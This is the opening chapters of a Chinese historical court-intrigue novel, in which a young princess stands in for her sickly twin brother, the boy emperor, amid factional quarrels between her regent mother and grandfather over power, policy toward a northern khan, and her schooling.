《风陵不渡》
1. 第一章
她的头突然重重往下一点,下巴几乎磕到自己的锁骨上去,头上戴着的冕冠险些也跟着掉下来,十二旒玉藻噼里啪啦地响成一串,一下子把她从昏昏欲睡的边缘拽了回来。帘后随即传来重重的“咳”一声。
“陛下,坐好。”母后的声音像从牙缝里挤出来的。
明绰的小脸皱成了一团,伸手去扶冕冠。她父皇的头显然比她大得多了,每次上殿之前,母后总是要想许多法子才能把这顶冕冠固定在她头上。明绰想腾一只手来撩开玉藻,冕冠就又坠下来,完全遮住了她的视线。她想摘下来,可是玉笄栓结着她的头发,反而扯得她头皮好痛,弄得好不狼狈。
“母后……”她终于小声地叫出来,“母后!”
只听身后珠帘微响,谢太后起身坐到了她身边。母亲的手轻柔地拂过,冕冠终于被扶了起来,玉藻堪堪垂到明绰眼前。垂目看阶下,一片清明。旁人都是低着头,连原本正在奏事的谢聿也是垂眼看着自己手中的笏板。唯独她的太父谢郯,立于群臣之首,正仰着脸,目光紧紧地盯着她,嘴角整个往下撇着,那模样瞧着不大高兴。
明绰让他看出背上一层汗,分外心虚地挺直了背。
谢太后朝兄长微微示意:“谢卿接着说。”
在她险些睡着之前,谢聿正说到西北乌兰部伐羌之事。那西羌皇帝的叔父,叫什么葫芦的,为了争位,跑去跟更北边乌兰部的可汗勾结。但是被西羌皇帝察觉,葫芦就干脆引来了乌兰部的大军。西羌有个姓扣的重臣,也被葫芦策反,领兵里应外合,一起把西羌的皇帝弄死了。
谢聿看了她一眼,不动声色地把话头往回拨了一点儿:“臣方才正说到,乌兰郁弗悔了与寇显之女的婚约,另娶雍州段氏女,合雍州兵马五万,兵围长安。寇显走投无路,献上了纥罗的人头。如今,长安已归乌兰。”
明绰连连朝舅舅眨眼,以示感谢。然后又想起来她在这儿是演她皇兄,萧盈恐怕不会跟舅舅挤眉弄眼的,赶紧又坐好了。
谢聿垂下眼,只当没看见,继续往下说:“这纥罗还有个儿子,被羌人余孽拥立为太子,领兵南逃。乌兰郁弗领兵追击,如今陈兵边境,派人给荆州刺史去信,要替先帝报仇,取这羌人太子的人头,以示归顺之诚。”
他把乌兰郁弗这封信在堂上念了一遍,这就是今日朝会要议的大事。荆州刺史不敢让他带人过来,更不敢一口回绝给他惹急了,急报建康,请陛下圣裁。
谢太后“嗯”了一声,手上拢了拢明绰颊边掉出来的一缕头发。谢聿是她的亲哥哥,有些话不必殿上明说,她已知父兄的心思,但过场总还是要走一走。
“诸卿怎么想?”
明绰现在坐得规规矩矩,一动也不敢动了。但谢太后也没再回到珠帘后面,就坐在她身边,听着众臣们争先恐后地进言。
再怎么说,乌兰也是西北蛮夷。也曾屡犯中原,以劫掠为生,不是什么好东西。提起“兀鲁蛮子”,谁都是要啐一口的。乌兰郁弗想归顺,大雍还瞧不上呢。明绰也听了几句,虽然群臣七嘴八舌的,但说来说去,都是一个意思——“非我族类”。
谢太后似是听烦了,抬了抬手:“今日要议的不是胡汉有别,诸卿……”
阶下忽然断喝一声:“还有何可议,自然是打!”
明绰撩开眼前的玉藻往下看,见说话的正是尚书令桓廊。他原本站在太尉身后,如今干脆往中间跨了一步,逼得谢聿不得不往后一让。
桓廊扬声道:“陛下容禀,乌兰郁弗虽然收服西海十八部,但还远远算不上大业一统。乌兰北有贺阆,西边还有诰弗部和渠搜人,东边还有陈氏伪朝。他一边陈兵襄阳,一边假意归顺,无非就是怕大雍出兵,黄雀在后——”
他说着,一撩朝服,跪了下来:“陛下,臣与叔父桓殷皆愿领兵西进,为陛下扫清僭伪,还于旧都!”
他说得掷地有声,却无人响应,殿上一片寂静,唯有他的声音荡得嗡嗡回响。
明绰下意识地抬头,想看母亲的反应。但谢太后面无表情,额上沿着发际抹了一圈鹅黄,脸上又涂得惨白,全无血色,这么垂眼看着人的时候,就像一尊画里的菩萨,看不出任何情绪。
自从前梁一百多年前被羌人所侵,失了长安,从辽东到漠北就成了天下英雄竞相逐鹿之地。前梁退守建康,仅余半壁江山。后来,前梁将皇位禅让给了萧氏先祖,建康改弦更张,换了国号为雍。但萧氏承继前梁大统,也将失长安之痛视为他们心头拔不出来的一根刺。
大雍穷尽三代,西征七次,仍是无功而返。直到十年前,先帝萧忨御驾亲征,反被羌人一支淬了毒的羽箭葬送了长安城外,若非谢太后当日腹中已怀有双生子,大雍国祚恐怕都要就此断绝。即便如此,陛下刚刚登基的两年,也是先后出了宛南王与燕康王之乱。当时谢太尉坐镇,几乎将萧忨的兄弟们都杀尽了,才稳住了朝局。经此离乱,方绝了朝中“西征”的呼声。
而这十年里,乌兰郁弗一统西海十八部,如今又得雍州强助,可谓兵强马壮。群臣们一半是一口一个“兀鲁蛮子”,另一半其实私底下也赞他天纵英才。大雍虽然家大业大,但终究有主少国疑之危,所以桓廊这话,竟是无人敢接。
桓廊见无人应和,“咚”一声就磕了个头,然后梗起脖子,将官帽摘了下来,像擎着自己的头颅,一张脸红得快要发紫,声如洪钟地质问道:“难道陛下已经忘了先帝的遗志吗?还是陛下甘愿偏安一隅,任由北地戎狄乘衅,豺狼竞驰!”
谢聿赶紧也把声音提高:“桓令君三思——”
然而他话还没说完,殿上突然传来了陛下奶声奶气的大声反驳:“我没有!”
群臣都没想到平日里从不开口的陛下会突然说话,一时都忘了规矩,纷纷抬头来看。
明绰:“乌兰郁弗灭了西羌,就是为父皇报了仇。咱们该回信谢谢他,怎好出兵打他?这是君子的为人之道,怎么是我——”
她说到一半,谢太后已经伸手揽住了她,指甲紧紧地嵌进她肩膀里,示意她闭嘴。可是明绰向来不是个愿意藏话的性子,根本拦不住,她只当母后是在提醒她改口。
“——这怎么是朕忘了父皇的遗志呢?”
谢聿反应极快,立刻道:“陛下所言极是!乌兰可汗为大雍收复长安,一片赤心,不可辜负!若是乘人之危,恐为不义之师!”
明绰还想说话,但是谢太后一把摁住了她:“桓令君先起来再说吧!”
谢聿马上又插话进来,半点不给桓廊说话的机会:“臣请陛下下旨,封乌兰可汗为长安王!以示招抚!”
桓廊一下子跳起来,好像恨不得要用手里的笏板朝谢聿头上打下去:“谢聿!你这国贼!”
谢聿也涨红了脸:“桓令君穷兵黩武,只为你一家一姓之功,到底谁是国贼?”
“穷兵黩武也好过你谢家养寇自重!”
“桓廊!陛下跟前,你说话可要小心着脑袋!”
桓廊突然冷笑了一声,抬头看定了明绰。就那一瞬间,明绰看到舅舅的脸色突然变得极为可怕。
“陛下跟前?”他意味不明地压低了声音,眼睛向谢聿,然后又转开,看定了尚未开口的谢太尉,“陛下?!”
说时迟那时快,明绰还没明白他什么意思,谢太后已经狠狠在她胳膊上拧了一记。这一下手重了,明绰吃痛,只听母后在她耳边轻声道:“哭!”
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小皇帝“哇”地一声当庭哭了出来。
小孩的哭声极尖利,阶下人都是一惊。然后谢郯第一个撩了袍子,跪了下来:“陛下息怒!”
他一跪,群臣自然也都纷纷跪了下去。明绰张大嘴,带着大清早被拖来的困倦,听得直打瞌睡的茫然,还有被莫名其妙教训了的委屈,哭得真心实意。
“陛下乏了,”谢太后顺势站了起来,牵着明绰就走,“此事容后再议!”
一场朝会匆匆作罢。明绰抽抽噎噎的,听见太父的声音在身后拖得极长:“恭送陛下——”
谢太后脚步匆忙,任由明绰被人半拖半抱地拽进了上阳宫。
原本她能自己走,但是今天母后心里不痛快,走得特别急,明绰身上的天子冕服又沉又宽,坠到地上,直绊她腿。头上是冕旒玉藻晃得噼里啪啦,腰间是环珏玉佩撞得叮呤咣啷,小小一个人,跑出了几个人的动静。最后只好让母后身边的女史梁芸姑抱着她走。
但是明绰到底十岁了,梁芸姑身量矮小,抱着她还要小跑,很快就体力不支,进殿时连气都快喘不上来。可是眼见着太后的脸色,又赶紧把明绰放下,着人要茶,亲自端到了太后眼前。
谢拂霜端起来就喝,但茶太烫,她“嘶”了一声,把围在身边的人吓得齐刷刷跪了一地。谢拂霜倒是也没发作,只是皱着眉头,重重地把茶碗放在了桌上,手指点在太阳穴上,牙关微微绷紧。
梁芸姑一看便知道太后又犯了头痛,忙悄声嘱咐下去:“快去把穙齐香点上。”
明绰小心地凑到母后膝前,极力做出乖巧的模样来:“母后,溦溦知道错了。”
谢拂霜垂眼看她,伸手把女儿揽进怀里,抚了抚她手臂上被掐的地方,轻声道:“疼不疼?”
明绰摇摇头,玉藻又噼里啪啦地响成一串。
谢拂霜揉了揉她的脸:“我的溦溦如此聪慧,哪里有错?都是那桓廊的不是。他殿上无状,无非是欺你年少,可恶至极!”
明绰认真地想了想:“他不是欺我,是欺皇兄。”
谢拂霜好一会儿没说话,定定地看着她的眼睛。明绰又补了一句,好像母后不知道似的:“皇兄才是大雍的天子啊。”
谢拂霜突然笑了一声,手指在女儿颊边拂过,冰凉的触感激得明绰不自觉瑟缩了一下。
明绰不明所以,但感觉母后还是不太高兴的样子,便把手伸到谢拂霜太阳穴上,不得要领地揿上两记:“母后头又疼了吗?”
谢拂霜把她的手抓下来,握在自己手心里:“母后没事。”
明绰又殷勤地去给她揉肚子:“肚子又疼了吗?”
“好了。”谢拂霜笑起来,把女儿紧紧搂在怀里,也不管她头上的冕冠歪成了什么样子。
母女两个正依偎着,有人突然来报了一句“谢太尉到了”,谢拂霜才将明绰放开,示意芸姑过来:“带长公主下去吧。”
其实明绰还想听一听母后跟太父会说什么,但太后与太尉议事,从来都是连伺候的人都不让留在殿中的。不过明绰早已不是第一次偷听,自有法子。
一回到她自己的寝殿,明绰就寻了个由头,非要换一件绯色的袿衣,把满宫的人支使得团团转,然后像只小耗子似的,悄无声息地跑了回来。
谢拂霜殿中有一架五扇漆木屏风,甚为精美壮丽,掩住了一道扉门,平日里供宫人出入,端茶奉水。明绰轻车熟路地从扉门另一头悄悄进来,正好躲在那架五扇漆木屏风后面。
谢郯的声音传过来,清晰地如在耳畔。
“你是太后做得太久了,”她听见太父的语气冷冰冰的,比他当时在殿上的眼神还吓人,“可还知道‘体统’二字怎么写吗?”
2. 第 2 章
明绰把耳朵整个贴在了屏风上,生怕漏听了一点儿。穙齐香的味道从屏风的缝隙里钻进来,熏得她鼻子痒痒。
谢太后:“旁人不知道,父亲难道还不知道我的难处?盈儿时犯心痛之症,实在是体力不支……”
“你不必拿这些话来搪塞我。陛下已经懂事了,他若身子不适,自会传话罢朝。”
“他哪里敢?群臣都欺他年少,要是让长沙王知道他体弱多病,朝野上下再生异心,大雍还有宁日吗?”谢太后声音带了哭腔,“我既为人母,怎么忍心看他如此逞强?万一有个三长两短……”
谢郯断喝一声:“休得胡言!”
谢太后立刻噤声。隔着一架屏风,明绰都感到空气中升起一阵令她牙酸的冷意。
许久,谢郯才轻轻叹了口气,带着一丝息事宁人的意味:“我自是知道你的难处,可是两个孩子一日大似一日,已经瞒不过去了!你以为今日只有桓廊一人看出端倪吗?”
“那又如何?”谢太后不哭了,“有父亲在,谁敢说一个字?他桓廊也未必就真敢……”
谢郯语气更恼:“你当为父是赵高么!”
谢太后只好轻轻地“哼”了一声,但终究未再顶嘴。
谢郯又道:“天子冕服不要再放在上阳宫照管了。你送去含清宫,以后上不上朝,由陛下自己决断吧。”
谢太后的声音一下子沉下来:“父亲这是要罢本宫听政之权?”
谢郯不置可否,只道:“主少国疑,大臣未附,百姓不信。所幸陛下年少持重,早慧通透,识人断事常有先见之明。再过两年,等他亲政,必为明主,用不着你过多忧心。倒是明绰这孩子……”
谢郯突然顿了顿。躲在屏风后的明绰顿时吊起了半颗心,然而谢郯并没有像评价萧盈那样说上许多,只简简单单道:“你还是多花些心思教养她。”
谢太后的语气突然有些古怪:“溦溦怎么了?”
然而谢郯的回应只有一声冷哼。
谢太后发出了一声难以置信似的怪声,似是想笑,但又压不住火气:“父亲有话还是说出来,不然本宫都不知道该如何教养女儿!”
谢郯便道:“今日若是陛下在殿上,必不会多言。”
谢太后深吸一口气,就等着谢郯说这个,她好发作似的:“所以臣工才觉得他软弱,好欺负!”
“当庭驳斥重臣,就是不软弱了?”谢郯回道,“太极殿上,岂容她如市井悍妇一般吵闹……”
衣料摩擦的簌簌声一下子响了许多,谢太后似是突然站了起来。她的声音一会儿远,一会儿近,好像是速度极快地踱着步,每个字里都从牙缝里挤出来似的。
“桓廊吵得,兄长也吵得,独本宫的女儿只说了一句话,就成了悍妇?父亲这是什么道理?”
“桓家世代高门,令君也是才高德众、深得名望之人,他殿前死谏,史官只会说他忠直耿介,一心为国!就算他是欺主年少,主君也只有听的份,否则,史书上便是为君者刚愎自用,不肯虚心纳谏——盈儿不是软弱,他是懂得为君之道!”
“是啊!”谢太后毫不相让,“盈儿自五岁起就得你亲授为君之道,我的溦溦懂什么?父亲可曾教过她认一个字?”
谢郯厌烦地叹了口气:“好好的,你怎么又说到这上头了!”
明绰躲在屏风后,还没明白过来她到底在太极殿上做错了什么惹得太父这般声色俱厉,就被母后这突如其来的翻旧账打了个措手不及。一时顾不得对太父恼火,竟也在心里跟着他念了一句,“又来了”。
自从天子萧盈迁宫的那个春天起,谢家父女俩这场拉锯就开始了。
景平五年,建康城中伤寒一时肆虐,萧盈养在深宫里,不知道怎么竟然也被染上了。谢太后当即就下令让陛下去含清宫养病,免得再过给东乡公主。好在那年的伤寒并不凶,萧盈发了几天热就好了。
明绰原本以为,皇兄好了就会被接回来。但陛下前脚刚从病榻上起来,谢郯后脚就兼领了太傅,以其子谢聿为修撰官,另点了门下才德兼备者六七人,分任直学士、侍讲学士等职,开始给陛下讲学。
自此,萧盈再也没有回过上阳宫。
谢太后自然不会反对陛下读书,但大雍女子亦可受教,谢太后的意思是,一母同胞,也没有厚此薄彼的道理,那就送公主一道去读书吧。
然而被谢郯一口回绝。
谢郯的说法是,明绰小小年纪,没必要吃这样的苦头。天子夙兴夜寐,那是因为江山的担子太重。可是公主读书,于社稷无碍,不过陶冶些情操,叫她明白些事理罢了。他绝非偏心,也是为着明绰着想。谢聿的女儿星娥比明绰也就小了三岁,不妨再等等,到时候从宫中选拔一些才高德全的女官,再从士族高门里选几个年龄相仿的贵女,跟星娥一起进宫来给公主陪读,岂不比让她去男人堆里读书更得体些?
谢太后并不这么觉得。
父女两个原是掩着门密谈,后来吵得根本也顾不上密不密了。谢郯抛下了一句“你翻不过天去!”,便拂袖而去。谢太后在殿中气得连熏香的暖炉都一脚踢翻了,没一个人敢进去伺候。
谢郯:“你若真想让明绰进学,那为父考校出来的女尚书为何不用?星娥去年就该开蒙了,要不是你一拖再拖……”
“那也不耽误父亲在家教星娥识字吧?”
谢郯让她说了个正着:“你……!”
“父亲偏心陛下也就算了,如今连星娥都越过明绰去了!”
谢太后说到这里,突然“哎哟”一声,重重地往后一倒,若不是腰后有凭几靠着,只怕要直接撞到这屏风上。明绰一颗心几乎要从喉咙口跳出来,险些奔出去看母后怎么了。
谢郯的声音也急了:“拂霜?”
又是一阵簌簌整衣之声,这下是谢郯站了起来,伸手去扶女儿:“头风又犯了么?传太医——”
谢拂霜一把推开了父亲:“不必!”
明绰又听到了母后的哭声,极力压抑着。比起方才凄凄切切地诉苦,这种哭声反而更叫她难过。她从母亲的哭声里感觉到了一份沉甸甸的委屈,像是炉里洒多了穙齐香粉,密密匝匝地漾进空气里,让人无法呼吸。
谢郯的声音夹在女儿压抑的哭声里,也是低低的:“你就是心气太高了,明绰也是随了你。”
谢拂霜:“本宫心气高,是父亲养出来的。如今本宫的女儿心气亦高,那就是谢家的家风。”
谢郯竟然笑了一声,可是转念一想,又只有长叹一声:“可惜她偏偏是个女儿身。”
女儿家心气太高,这一生就不知道有多少苦楚磨难等着她。谢郯看着微微垂眼,两根手指紧紧抵住太阳穴缓解头痛的女儿,心中突然五味杂陈。
谢郯:“这穙齐香对你的头风管用,明日叫你兄长再拿些来。”
谢拂霜吸了吸鼻子,也给了父亲一个台阶:“不妨事,西域来的东西难得,父亲还是留一些自己用吧。”
明绰听到这里,便知道父女两个算是吵完了,赶紧一手提着腿上过长的衣摆,一手抓住眼前晃个没完的玉藻,趁他们都没发觉,悄悄地溜走了。
其实她并不担心太父和母后吵架,虽然吵得凶,但连明绰都很清楚,太父不会罢了母后,他也根本罢不
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了母后。
大雍的皇后有直调执金吾卫之权,当年萧忨亲征长安,就是年仅十六岁的谢皇后镇守建康。后来萧忨崩逝得突然,谢拂霜抱着襁褓中的小儿登基,天下权柄自然就落入了太后手中。这十年来,政令直出上阳宫,甚至无需假托天子之名。
今日的大雍,是先有了谢后垂帘听政,才有了谢太尉权倾朝野。
朝中有人嚼舌根,说什么牝鸡司晨,或是以吕后、窦姬旧事来明嘲暗讽,确实也是有的。但只要别太过分,谢太后都不会非要去较这个真。士人的唇枪舌剑再利,终究是敌不过太后手里的兵器武库。非要去锱铢必较,反倒要失了人心。
但反过来讲,谢太后虽然势大,到底还是离不开父兄的襄助。若无谢太尉运筹帷幄,光凭建康的执金吾卫,只怕景平元年的时候,皇位就已经落入宛南王手里了。
在明绰的记忆里,大部分事情上他们都不会争执太久。实在有分歧,也总有舅舅在其中分说,最后总是父女两个各退一步。
只有明绰进学一事,是父女之间唯一会反复争吵,却总是没个定论的事。说到底,还是因为明绰自己不愿意。
她听舅舅说,皇兄每日五更就要起来了,风雨无阻,稍有错处还要被打手心。天子罚不得,就打侍读,一个个手心都被抽得血淋淋的,还非要陛下在旁边看着。
就这一点上,明绰其实觉得太父说得对,她为什么非要吃这个苦头呢?母后还跟她说,那些陪读侍讲都是太父为皇兄精挑细选的栋梁之材,日后大雍全靠他们辅正谋定……明绰半个字也不信,那分明就是替皇兄挨打的人嘛!怪不得皇兄时时犯心痛之症呢,还不都是被太父给逼的。
不去不去,这可万万去不得!
明绰回去惴惴难安地等了半天,母后也没有来说什么,倒是看见芸姑把天子冕服都收拾起来,遣人送去了含清宫。明绰心中顿时觉得不妙,母后退了一步,那太父肯定也得退一步,于是当机立断地病了。
谢拂霜赶来,亲自在床边照顾了一晚上,一直到天蒙蒙亮才浅睡了片刻,马上又起来去与重臣议事。朝会虽是十日一开,但四境杂务不挑日子,有人求见,太后就歇不得。那边事一毕,谢拂霜连饭也不用,先过来看明绰。装着肚子疼的明绰看着真头疼却强忍着的母后,终于受不住良心的谴责,漏了底。
不过一炷香的时间,东乡公主被太后身边的梁女史牵着,走进了含清宫。
不知是不是因为她已错过了早上的讲经,还是天子身边的侍读也有轮班,殿中的人没有她想的这么多。除了太父和她皇兄,就只有两个人,舅舅也不在。
那两人里一个站在皇兄身边,头发已经间杂花白,瞧着比谢郯还要老。另一个则独占一张案几,手中执笔,面前摊开一张黄纸,要随时记下君臣所言。
而谢郯和萧盈倒中间只有一鼎香炉,两杯淡茶。不像是传经授义,倒像是寻常文士清谈。
她一进来,两人的话音戛然而止。殿中四个人,八只眼睛,全都转过来,看着突然进殿的少女。谢郯的神色先是有些吃惊,随即便是了然。倒是萧盈的神色竟和那两个侍从一般,根本不认识她是谁。
梁芸姑先给天子行完礼,这才道:“东乡公主到。”
萧盈的眼睛突然亮了一下。明绰实在没忍住,明知在太父面前这样肯定要挨教训,还是狠狠翻了一个白眼。
谢郯果然把脸一沉,重重地清了清嗓子。两个侍读立刻起身,恭恭敬敬地给东乡公主行礼。
明绰只好呼出一口气,顶着谢郯锅底似的脸色,朝已经认不出她的萧盈屈膝低头:“东乡见过皇兄。”
3. 第 3 章
若是换一个明绰心情好些的时候,她倒也不会责怪萧盈认不出她,因为她也几乎快认不出皇兄了。
两个孩子如今不在一处教养,一年到头也不见得能见上一面。明绰上回见他还是过年,天子携宗亲百官祭礼。她能看见皇兄,皇兄却未必能看见站在人群里的她。对萧盈来说,上次见到这个妹妹是什么时候,就更不好说了。
这个年纪的孩子,隔上一年半载的见不着,形容便要大改。
明绰的礼行得很有情绪,但是萧盈没往心里去,还没等她完全躬下去,就忙抬手示意:“快起来吧。”
“谢皇兄!”明绰二话不说就站直了身子,抬起头,直勾勾地盯着已经陌生的皇兄看。
萧盈也看着她,似是当真欢喜,掩不住的笑意。容貌还还未完全长开,但这一笑,已有了日后俊爽昳丽的影子。即使跪坐在那里,也看得出手长脚长,要比同龄的孩子高些。只是整个人苍白瘦削,宽袖下仅露出一双手,也是骨节分明,像蜘蛛脚似的,苍白嶙峋,是个病秧子无疑。
可偏偏就是这份病气,配上他尚未长成的稚气,混杂出了一份别样的如珠如玉。
皇兄生得可真是……明绰那点儿捉襟见肘的墨水在肚子里翻了翻,最终倒腾出来一句——不算辱没了祖宗。
自前梁起,他们萧氏就以“美姿仪”著称,美男子甚至比美女都多。明绰的高祖就是因“面若敷粉、眸似岩电”得了前梁皇帝的宠信,直至权倾朝野,最后以雍代梁。明绰虽未见过父皇的面,但所有人都说,怀帝萧忨当年也是“风仪闲畅,神仙中人”。
这一点明绰相信,所有人都说她像极了怀帝。想来果真是女肖父,儿肖母——可萧盈生得虽好看,却和谢拂霜一点儿也不像。谢拂霜是一双圆圆的杏眼,萧盈却是狭长的桃花眼,最要紧的是,那双桃花眼还是个重睑。小的时候没看出来,如今大了,显眼得很。
明绰马上把目光移到谢郯脸上。太父、舅舅和母后,还有她,甚至是表妹谢星娥,没有一个人是重睑。
谢郯不知道她眼珠子滴溜溜地在看什么,沉着声音问:“长公主可知道现在是什么时辰了?”
明绰回过神来:“未时。”
谢郯又转向萧盈:“陛下是几时开始上课的?”
萧盈已听懂他的话音,一时收敛了笑意,轻声道:“太父,溦溦才刚来……”
谢郯没听他说完,不知道从什么地方抽出一把戒尺来,不轻不重地往案上一放。
“陛下每日卯时起身,温课五刻钟,辰时讲经,每迟一刻,便罚一尺。长公主算算,你该罚几尺?”
明绰嘴一瘪,不敢回答了。
谢郯:“不会算?那臣替公主算。三十尺——”
明绰急道:“明明只有二十四尺!”
谢郯嘴角微微一动,好像是被她逗乐了,但那一点松动也是微乎其微,整张脸还是板着,示意明绰把手伸出来。
明绰仍不甘心,先看萧盈身边的侍读,然后又看梁芸姑,好像指望他们谁主动出来替她挨打似的。
谢郯似是知道她心中所想,道:“除非陛下抱恙,不然也是要自己挨戒尺的。”
明绰抓住了机会:“我也抱恙!太父,我肚子疼!”
她生怕谢郯不信,马上抱住了肚子,“哎哟”“哎哟”的叫个没完。这一招她骗过了谢拂霜,但昨晚毕竟是在床榻上滚来滚去,瞧着可信许多。如今站在堂下,又还有外人在,明绰怎么也不肯滚到地上去,一时发挥受限,便只剩滑稽。
她也不知道谢拂霜早已叫人来报过病,如今人又突然来了,谢郯朝梁芸姑看一眼就知道是怎么回事。但他什么都不说,就看着明绰演。
那小丫头着实聪明,挤着眼睛看了看太父的神色,自己也觉得没趣儿,不叫唤了。
“罚就罚。”明绰咬住下嘴唇,上前一步,视死如归地把手心伸了出去。
谢郯二话不说,抄起戒尺就是“啪”地一下。
明绰没想到戒尺打下来会这么疼,当即就要缩手,但是谢郯毫不留情地抓住了她的手腕,“啪啪”又是连打了几下。
“自己数着。”
“唔!”明绰呜咽了一声,一只白嫩的小手已是红了一片,偏她性子里天生有几分倔,太父既然这样说,她便不肯服软,梗着脖子,硬是把那一声呜咽遮掩了过去:“六!七!——”
谢郯打得扎实,转眼就打过了十下。明绰疼得连数都数不下去了,眼泪汪在眼眶里了,手心也攥起来,不肯让他打。
“张开。”谢郯顿了顿,耐着性子说了一句。
明绰一双泪眼看着他,摇了摇头,把手心攥得更紧了。谢郯也不多话,又是一戒尺打下去。指关节不比肉掌,碰在戒尺上更疼。明绰这下再也忍不住,疼得眼泪夺眶而出,呜呜地叫起来,像只委屈的小狗。谢郯铁石心肠,戒尺不停,又往下抽。
说时迟那时快,另一只手突然伸过来替明绰挨了一下。只听谢郯惊呼了一声“陛下!”,明绰就感受手上一松。她连退几步,疼得“嘶嘶”直抽气。
萧盈的手还伸着,掌心也是一道红痕。但他连眉毛都没抬一下,手指微微蜷缩,掩住了掌心,神色淡淡地劝了一句:“太父,算了吧。”
谢郯正色道:“陛下,周公有云,赏必分,罚必施。若是定了规矩,却不遵守,立法便成空文。此乃立国之本,不可疏忽。”
萧盈不紧不慢地回道:“太父说得有理,但尧帝也立下‘三宥之法’,不知者教,过误者改,无心者释。溦溦不知道一刻一尺的规矩,应当教化为先,再犯则罚。”
明绰捧着已经肿起来的手心,眼泪断线珠子似的往下滚,哪里还耐烦听他们掉书袋。她被谢拂霜娇惯着养到这么大,母后就是再气,最多在她屁股上拍两下,几时舍得上过家伙?
明绰当即就叫梁芸姑:“还再犯什么?我们这就回去!我再不来了!”
梁芸姑自然是不敢带她回去,只好蹲下来,捧着她的手掌小心地哄。谢郯看了她一眼,又问萧盈:“冥顽不灵,想必还要再犯,也不该打吗?”
萧盈微微垂下眼:“这才更不能打了。郑有子产宽刑化民,晋有文公赦罪求贤,皆是因慎刑宽法得到群臣归附,百姓信服,国家大治。是以法不可独任刑。古之明君立下赏罚分明,是为了以儆效尤,如今太父罚她,为的是让她向学,而非警示旁人。若是打足二十四尺,便是刑罚过重,伤了公主的手,她还怎么学呢?但若是本该打二十四尺,却只打了十二尺,便是恩威有度,她感念恩德,这才不会再犯。”
明绰:“……”
她感念个鬼!
但谢郯点了点头,放下了戒尺:“说得好。”
萧盈随即招了招手,示意侍读再取茵和凭几来,就设在自己身边,那意思便是让明绰也坐下。
但是明绰没动。
手倒是没那么疼了,谢郯虽然严厉,也不至于对亲外孙女下狠手。但明绰脸上火辣辣的,是另一种羞辱。她说不明白,但她感觉得出来,太父因材施教,教的只有皇兄,而她是那个“材”,和太父手中的那把尺没什么区别,都是工具而已。一切的目的不是她知不知错,向不向学,而是皇兄能不能从中得出什么道理。
她只是年纪小,却并不是没有尊严。太父偏心皇兄,这是她自小就已经知道的事情,已经不会再放在心上。可是直到此刻,她才有了另一番痛彻手心的体会。
太父给表妹两颗糖,给她一颗糖,这才叫偏心。太父拿她来教皇兄“为君”,这就不是偏心了。
这是一人之下,再无他人。
她迟迟不动,谢郯终于抬头看了她一眼:“还不坐?”
明绰放下手,语气干巴巴的:“东乡犯了错,不敢与皇兄同坐,站着听便是了。”
萧盈意外地看了她一眼。明绰当即把下巴昂得高高的,有意站到了他背后。那位白发侍读忙垂首躬身,让了一让。这么近处一看才发现,他虽遍生华发,脸上却不见多少沧桑,其实和舅舅谢聿差不多年纪。
明绰有些奇异,但他已经往后退了一步,不敢与长公主并列。
谢郯:“陛下,那我们继续说应对乌兰之策。”
萧盈也只好不再往后看:“中书令请封乌兰郁弗为长安王一事,朕以为不妥。”
“何处不妥?”
“乌兰郁弗不是真心归顺,如今姿态恭敬,恐怕只是权宜之计
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。等他稳定住局势,必有僭越之心,这长安王倒成了笑话了。到那时,朕若不剿他,北边的蛮夷僭伪皆会以为大雍软弱可欺;可朕若那时剿他,良机已失。还不如现在就只回一封信,言明两不相犯便是。”
明绰没忍住背后小声道:“这不是我说的吗?”
萧盈顿了顿,明显是听见了,不动声色地补了一句:“如朕昨日殿上所言。”
明绰:“……”
好不要脸,怎么还当面抢功?
谢郯眼皮一抬,两个孩子的神色尽在眼中。站着的一脸愤愤,坐着的满眼惴惴。
他在太后面前说天子“早慧通透”,并非虚言。萧盈的善谋是天生的,别说是明绰,有时许多大人都比不上他走一步,看九步。
可是有的时候,又终究还只是个孩子。比如他真以为太后能在太极殿瞒天过海,有心替人掩饰,却又把一切都写在了脸上。
倒是明绰,还是太不知道天高地厚了。
谢郯不动声色地端茶来饮:“乌兰来日必为虎狼之患,陛下心中可有应对之策?”
“有,”萧盈似乎就等着他来问,“纵横捭阖。”
明绰站在萧盈身后,满脸都是没听懂,但又很好奇的神情。
谢郯用茶杯掩住自己唇畔的笑意,只道:“陛下且细说。”
“西海十八部看起来都差不多,其实内部各有不同,多生嫌隙。屠珲部靠近西域,兵马最强。乌兰郁弗为了收服屠珲,不仅自己也改了信佛,还命乌兰全族抛弃了原本信仰的天神,引来了其余诸部的不满,尤其是最早追随他的兀臧部。若在两部各派细作,对屠珲以利相诱,对兀臧以仇相激,便可拆下乌兰郁弗的左膀右臂……”
萧盈侃侃而谈,好像真的去过遥远的西海,乌拉山的险峰与阿瓦神女湖的清水全都映在他的胸中。明绰不自觉地张大了嘴巴,不知道萧盈都是从哪里知道这些事的。
“十八部中还有乌拉山三部,他们本是贺阆人的分支,朕可派使节去贺阆……”
谢郯终于抬手打断了纸上谈兵的少年天子:“乌拉山天险难越,贺阆与中原已三四百年不通音讯。这三族是贺阆分支也是前朝周游志所载,真假既不可考,大雍也没有会说贺阆语之人。要派使节前往,只怕是有去无回。”
萧盈停下来想了想,点头道:“太父说的是。”
谢郯又道:“长安王还是得封。”
“可是……”
谢郯微微颔首,示意萧盈稍安勿躁:“陛下思量得不无道理。但长安自古是汉人旧都,如今换乌兰郁弗坐了王庭,大雍若不征不讨,就只能赏赐给他,否则……”
萧盈已经明白过来:“便是失了正统。”
明绰:“……”
这“正统”不是早就在前梁时候就丢给羌人了吗?还装什么呢?
谢郯微微抬眼:“长公主有话要说?”
明绰很识相地挤出一个笑脸:“没有,皇兄和太父接着说。”
她到底来得太晚,萧盈日常的课业早该结束了。为着她在听,又硬生生拖了许久。明绰一直站着听,竟也没有觉得累。反倒是萧盈,到底是起得太早了,支撑到现在已经是满脸倦容,天子的乳母早已端着吃食,在殿外等了不知道多久。直到萧盈终于没忍住打了个哈欠,谢郯才终于放兄妹两个下了课。
明绰耐着性子,持着礼等萧盈客客气气地送人,等到谢郯的背影一消失在殿门外,她就从地上弹起来似的,恨不得一路小跑着出去。
梁芸姑着急地举着夹袄跟在后面:“长公主慢点!外面冷!”
她两步追上来,轻轻摁住了明绰的肩膀,一边给她套上夹袄,一边小声在她耳边提醒:“长公主告退也该先问陛下一声。”
明绰转过身,带着十二分的敷衍,语速飞快:“皇兄要是没什么别的吩咐的话……”
萧盈没让她说完,招了招手,示意她进来。
明绰把心一横,决心当做没看见:“那我就先告退了——”
“留步。”天子轻轻开了口,两个字像是有千钧之力,一下子就把梁芸姑勾住不走了,她顺手还把明绰的肩膀也勾住了。
